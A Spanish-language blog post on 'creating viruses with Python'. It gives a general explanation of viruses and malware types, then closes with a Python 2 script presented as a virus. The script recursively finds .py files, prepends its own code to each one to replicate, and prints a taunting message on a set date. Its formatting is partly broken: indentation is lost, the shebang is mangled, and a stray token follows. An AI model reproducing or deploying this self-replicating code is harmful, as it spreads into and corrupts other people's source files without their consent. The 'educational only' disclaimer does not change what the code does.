Python del lado oscuro de la informatica, «crear virus con python»

Aquí en este artículo vamos a codificar el virus python simple. nada que pueda «dañar o perjudicar» este post es unicamente educativo, no pretende ser un master, el mejor, uselo bajo su responsabilidad, no me hago responsable por el mal uso de las tecnologias que aca se muestran….

Los Virus informáticos son un tipo de programa malicioso («malware») que, cuando se ejecuta, se reproduce reproduciéndose a sí mismo (copiando su propio código fuente) o infectando otros programas informáticos modificándolos. Los programas informáticos de integración también pueden incluir archivos de datos , O el «arranque» del sector del disco duro. Cuando esta replicación tiene éxito, se dice que las áreas afectadas están «infectadas» con un virus informático. El término «virus» también se usa comúnmente, pero erróneamente, para referirse a otros tipos de malware. «Malware» abarca los virus informáticos junto con muchas otras formas de software malicioso, tales como «gusanos» de computadora, ransomware, caballos de Troya, keyloggers, rootkits, spyware, adware, objetos maliciosos de Ayuda del Explorador (BHOs) y otros programas maliciosos.

La mayoría de las amenazas de malware, son en realidad programas de troyanos o gusanos informáticos en lugar de virus informáticos. El término virus informático, acuñado por Fred Cohen en 1985, es un término equivocado.

Dato curioso del post

Los virus suelen realizar algún tipo de actividad perjudicial en equipos host infectados, como la adquisición de espacio en el disco duro o el tiempo de la unidad central de procesamiento (CPU), acceder a información privada (por ejemplo, números de tarjetas de crédito), corromper datos, mostrar mensajes políticos o humorísticos en la computadora. La pantalla del usuario, el spam de sus contactos de correo electrónico, el registro de sus pulsaciones de teclas, o incluso la prestación de la computadora inútil. Sin embargo, no todos los virus llevan una «carga útil» destructiva o intentan ocultarse, la característica definitoria de los virus es que son programas de computadora auto-replicantes que se instalan sin el consentimiento del usuario.

Los escritores de virus usan engaños de ingeniería social y explotan un conocimiento detallado de las vulnerabilidades de seguridad para obtener acceso a los ordenadores de sus anfitriones ya los recursos informáticos.

La gran mayoría de los virus se dirigen a sistemas que ejecutan Microsoft Windows, empleando una variedad de mecanismos para infectar nuevos hosts ya menudo utilizando complejas estrategias anti-detección / sigilo para evadir el software antivirus. Los motivos para crear virus pueden incluir la búsqueda de beneficios (por ejemplo, con ransomware), el deseo de enviar un mensaje político, entretenimiento personal, para demostrar que existe una vulnerabilidad en el software, por sabotaje y denegación de servicio, o simplemente porque desean explorar cuestiones de seguridad cibernética, Vida artificial y algoritmos evolutivos.


Me despido! hasta la proxima

Ok aca un codigo simple!

!#"El código realiza una búsqueda de los archivos
 python y este sera capaz hacer la siguiente cadena 
 en la fecha que esta establecida en el codigo 
 "HAHA USTED ESTÁ INFECTADO POR UN VIRUS!"
!/usr/bin/python
import os
import datetime
SIGNATURE = "Virus con python"
def search(path):
filestoinfect = []
filelist = os.listdir(path)
for fname in filelist:
if os.path.isdir(path+"/"+fname):
filestoinfect.extend(search(path+"/"+fname))
elif fname[-3:] == ".py":
infected = False
for line in open(path+"/"+fname):
if SIGNATURE in line:
infected = True
break
if infected == False:
filestoinfect.append(path+"/"+fname)
return filestoinfect
def infect(filestoinfect):
virus = open(os.path.abspath(__file__))
virusstring = ""
for i,line in enumerate(virus):
if i>=0 and i <39:
virusstring += line
virus.close
for fname in filestoinfect:
f = open(fname)
temp = f.read()
f.close()
f = open(fname,"w")
f.write(virusstring + temp)
f.close()
def bomb():
if datetime.datetime.now().month == 3 and datetime.datetime.now().day == 25:
print "HAHA USTED ESTÁ INFECTADO POR UN VIRUS!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()
0mjcet